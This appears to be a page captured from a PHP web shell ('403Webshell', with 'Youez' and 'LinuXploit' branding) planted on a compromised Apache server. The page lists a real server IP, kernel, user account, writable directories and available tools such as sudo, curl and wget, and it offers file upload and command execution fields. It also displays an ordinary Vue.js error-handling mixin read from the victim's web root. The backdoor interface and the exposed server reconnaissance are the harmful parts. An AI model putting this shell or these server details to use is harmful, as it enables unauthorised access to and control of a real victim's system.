403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/resources/js/mixins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/resources/js/mixins/ErrorHandlerMixin.js
export const errorHandlerMixin = {
	methods:{
		errorHandler_(err, tracker = []){
			let { a, b } = this.errorSeparator_(err, tracker)
			if(Object.keys(b).length > 0){
				this.alertErrorMessages_( this.computeErrorMessages_(b) )
			}
			return a
		},
		errorSeparator_(err, tracker = []){

			let responseMsg = "Something Is Not Right. Please Try Again Later."
			let intersect_errors = {}
			let not_intersect_errors = {}

			if(err == null){
				this.defaultNotify_(responseMsg)
			}else if(err.status && err.data){
				let { status, data } = err

				// if is validation error
				if(status == 422){
					let errors =  data.errors || data.message

					// Object.keys(errors).forEach(function(key) {
					// 	if (tracker.includes(key)) {
					// 		intersect_errors[key] = errors[key];
					// 	}else{
					// 		not_intersect_errors[key] = errors[key];
					// 	}
					// });
					Object.keys(errors).forEach(function(key) {
						if (tracker.includes(key)) {
							if(key.indexOf('.') !== -1)
							{
								var split = key.split(".");
								if(intersect_errors[split[0]] === undefined)
								{
									intersect_errors[split[0]] = {
										[split[1]] : errors[key]
									}
								}
								else
								{
									intersect_errors[split[0]][split[1]] = errors[key]
								}
								
							}
							else
							{
								intersect_errors[key] = errors[key];
							}
							
						}else{
							not_intersect_errors[key] = errors[key];
						}
					});
				}else{
					responseMsg = [400,403].includes(status) ? data.message : responseMsg
					this.defaultNotify_(responseMsg)
				}

			}else{
				console.error(err)
			}

			return {
				"a" : intersect_errors,
				"b" : not_intersect_errors
			};
		},
		defaultNotify_(message){
			this.$toast.warning(message)
			return null;
		},
		computeErrorMessages_(errors){
			let error_keys = Object.keys(errors)
			if(error_keys.length > 0){
				let messages = []
				error_keys.forEach((key)=>{
					messages.push( errors[key][0] )
				})
				return messages;
			}
			return []
		},
		alertErrorMessages_(messages){
			this.$toast.warning(messages.join('<br>'))
		},
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit